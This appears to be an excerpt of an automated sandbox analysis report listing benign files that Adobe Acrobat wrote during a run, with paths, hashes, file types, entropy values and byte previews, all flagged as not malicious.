Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	2.2155968288374344
Encrypted:	false
SSDEEP:	24:7+tg36wKRqL0MzkrFsgIFsxX3pALXmnHpkDGjmcxBSkomXk+2m9RFTsyg+wmf9MF:7MoWRq/mFTIF3XmHjBoGGR+jMz+LhU
MD5:	CA1EE6D293B41A4561FFBDE419C08DCC
SHA1:	65743640BD267D5F981A107C27A9E6C5EFE3103B
SHA-256:	663EBDCCD4A719FC21941744BC9CD1F9A5A34532173B7124FF23B50290A3F567
SHA-512:	82EDA5B7B20272B6F1E335CA45844FABA123D5A21A8DFC4F3ED80C7CCFE474F88654895A25F94ABFA8D77066C5B7F6FB75BB9CF0AED8F0B57A662B59E712AD89
Malicious:	false
Preview:	.... .c.......?.........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
SHA1:	CABD2A79A1076A31F21D253635CB039D4329A5E8
SHA-256:	96BCEC06264976F37460779ACF28C5A7CFE8A3C0AAE11A8FFCEE05C0BDDF08C6
SHA-512:	3B40F27E828323F5B91F8909883A78A21C86551761F27B38029FAAEC14AF5B7AA96FB9F9CC93EE201B5EB1D0FEF17B290747E8B839D2E49A8F36C5EBF3C7C910
Malicious:	false
Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7282048283587708
Encrypted:	false
SSDEEP:	3:kkFklnmQKN/ltfllXlE/HT8kq/tNNX8RolJuRdxLlGB9lQRYwpDdt:kKrQyeT8VNMa8RdWBwRd
MD5:	9CC7B70FF8748981F66FD216B6FD22B1
SHA1:	C3B862E621B32C11077183804B57D4F9CE586ECA
SHA-256:	66A517686D49CFD2515918883DFD144E27A66EAF6198779EB8E5368B831A0951
SHA-512:	546524EF8EF2637F3A07C7328E90BA7847ED8EEEF84CF4CEA7BEBFC4896BEB61DA5418F85DBA510C03FA157B3DFBD86EBFDB8CC2BFD80D1B09798D9969C64256
Malicious:	false
Preview:	p...... .............c..(....................................................... ..........W....p...............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.2429904267830576
Encrypted:	false
SSDEEP:	6:kKItL9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:AiDImsLNkPlE99SNxAhUe/3
MD5:	302E096B8AA3BD270C226753EEB3F51B
SHA1:	724D34209797DCDA30AE754706AA4B688CD46173
SHA-256:	5DD4C5582486E91A21124732C06219CCF1884883DDF702DBCC055E3FA6176899
SHA-512:	245BA7846A3886BB2659BCC02183F58360C1565A1A3A07CD71F5150E47ADE4ADBC6BEE7720CC5B63E7C0AF0102DF8F8BDAAB344800708DA4A2E1C46624B87519
Malicious:	false
Preview:	p...... ...........!.c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7736

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7736

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.37760201229409
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDKuItAy8OQbWmSg1c2LjcWkHvR0YuDKoAvJM3g98kUwPeUkwRe9:YvXKXC4jhT5LjIPKtGMbLUkee9
MD5:	646FFCEDBE30538FADFE5F3FC65049B0
SHA1:	67F223A6E418CA25765E15869B1E6E4684030ACA
SHA-256:	0E719B24CEE9A0A5BF06F474577F8CE1C0989844BE54073C1F6235C3486A611B
SHA-512:	FAB5012496798466F170CAE8C4708E1022029E835600574A69F65BA5C7A378176886F853CB15D1145BFE4C212544E61942EE83713BAF78447D2920E5300410FE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4fbded7a-12f9-4717-a7db-666151085b97","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736715925448,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.3315490688283145
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDKuItAy8OQbWmSg1c2LjcWkHvR0YuDKoAvJfBoTfXpnrPeUkwRe9:YvXKXC4jhT5LjIPKtGWTfXcUkee9
MD5:	65937F157E3654F2B2E8E55EB99BC876
SHA1:	D1181409890C4B9DAEEC64E2F7AEC564E89376B8
SHA-256:	FD0CC9BF4BCDD578CE2605C8DD7688585271AD29A9EEA6D15E58670CC584AC13
SHA-512:	DD9907C4A41D470714526B677CBA38A2EBCAB8740B81D7CB1E97904627750DB29DA7C2D82F2292E5699EF396C8855D690373E2EDA38F677B8683CC9170F68C60
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4fbded7a-12f9-4717-a7db-666151085b97","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736715925448,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.310746816797519
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDKuItAy8OQbWmSg1c2LjcWkHvR0YuDKoAvJfBD2G6UpnrPeUkwRe9:YvXKXC4jhT5LjIPKtGR22cUkee9
MD5:	903510B74C5DBD74FB1ABEB4683E6184
SHA1:	2CF50A2B92B186E7E99EB920656BCB7F4CA81149
SHA-256:	8606A1F1C27744D913D902D1A1830C9E2007D21D9CCF4A76C663704E56535452
SHA-512:	05611A813AC8C7BD0F3612F56B08A00C5114CA79BD8056C3F6B0B2346D2C956F96BC461DBBF7CE5457677D82D5BE1E96EB5E6D3E04F7664ED36F1B275D552BA1
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4fbded7a-12f9-4717-a7db-666151085b97","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736715925448,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.359103645764302
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDKuItAy8OQbWmSg1c2LjcWkHvR0YuDKoAvJfPmwrPeUkwRe9:YvXKXC4jhT5LjIPKtGH56Ukee9
MD5:	A7F98366483028575EF62E8A9D8EDCCA
SHA1:	C012E9988D33EFFD5EE87D1EEC0902AB57900004
SHA-256:	35B11C7753B27F1408C97F6B660BC087513AA3F77D00EAA1C6173DCE53892E80
SHA-512:	DCC663129C6B6FD9EEEC5A1FBC56865CB62EF1A7FC4CD04925B7A6E69B6934C0892B747F37A520D5D73ED5EF77D2C42B40B4871895FD8613BA76C2C416CE518F
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4fbded7a-12f9-4717-a7db-666151085b97","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736715925448,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.69847295628857
Encrypted:	false
SSDEEP:	24:Yv6XC4jhT5XICSpLgE9cQx8LennAvzBvkn0RCmK8czOCCS4:Yvt4jbXHShgy6SAFv5Ah8cv/4
MD5:	A7FFE34776219663866CB4288555EDA9
SHA1:	8B61CC0D2CEB2BDD2CC06493000B7823E62A0811
SHA-256:	BB9DA7ED21B40F5F3F723EBB6211D15E2E523C5089638CE2BE5FEFD8794DF8D7
SHA-512:	A8C850D8F4698329A3079D13885ECB9B8BF51EF5E1377F03BFF10FC3D11AF8CE5A3FA4157EFDA797A2A904AC4ED58B64461C1C0A94271646377A6909B68D8BC4
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4fbded7a-12f9-4717-a7db-666151085b97","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736715925448,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.330838185377618
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDKuItAy8OQbWmSg1c2LjcWkHvR0YuDKoAvJf8dPeUkwRe9:YvXKXC4jhT5LjIPKtGU8Ukee9
MD5:	45091C952AFFD70C521DDF352A00870F
SHA1:	EFA2FACAD1BC504B61F8FBB74A9B9FA5CEBE288C
SHA-256:	5421713A1EBD57ED4975518D255C4B4EED7F00D0C558A6022073A919C8701D73
SHA-512:	2CF293BCE39BCE57DA34D1822FE5420A87E947CA6A275B1E11676CD84D7B57B8F3E536A473CC715ADCD2BDF6EF7F52AAE637C5E00E720A1000E334DB62BAB96B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4fbded7a-12f9-4717-a7db-666151085b97","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736715925448,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.322351007278941
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDKuItAy8OQbWmSg1c2LjcWkHvR0YuDKoAvJfQ1rPeUkwRe9:YvXKXC4jhT5LjIPKtGY16Ukee9
MD5:	DC08EA72588D0AA4D1A8C9B813E918E1
SHA1:	59EB7657E49828C0CF7EA536D4F787821AFDCF8B
SHA-256:	252FFF027930A1A9D9240D39D611399618BB1DCF6787F14E8350834D700152BB
SHA-512:	07F69C469D8349B31AA65E2D61FE014BB8E022941C1459E52B131D0D4E4A6B02366A1CED1A508B7B551867DA017260C50035A517F489588C9451FAE95918BF1B
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"4fbded7a-12f9-4717-a7db-666151085b97","sophiaUUID":"8C4093EC-3A2E-41DD-AFC7-28A61CF92EFA"},"encodingScheme":true,"expirationDTS":1736715925448,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.337178873962257
Encrypted:	false
SSDEEP:	6:YEQXJ2HXDKuItAy8OQbWmSg1c2LjcWkHvR0YuDKoAvJfFldPeUkwRe9:YvXKXC4jhT5LjIPKtGz8Ukee9
MD5:	14349784AE451EC8458CD7F40FED4DFC
SHA1:	3C0A77CA24406CD14EF1C1317D74C4F79D79A9EC
SHA-256:	2728B5C792EC2A7B6A4346374E6974ECBD05628D387F3625A51733DDABA8E8D4
SHA-512:	84C29628F51C4184EB984DE790CB861F1C618CFD785B709C1A7F192966399323280B091C473904F26713D1DFEAB828486FC697D23ED76BC2115ED1B0B7995288
Malicious:	false
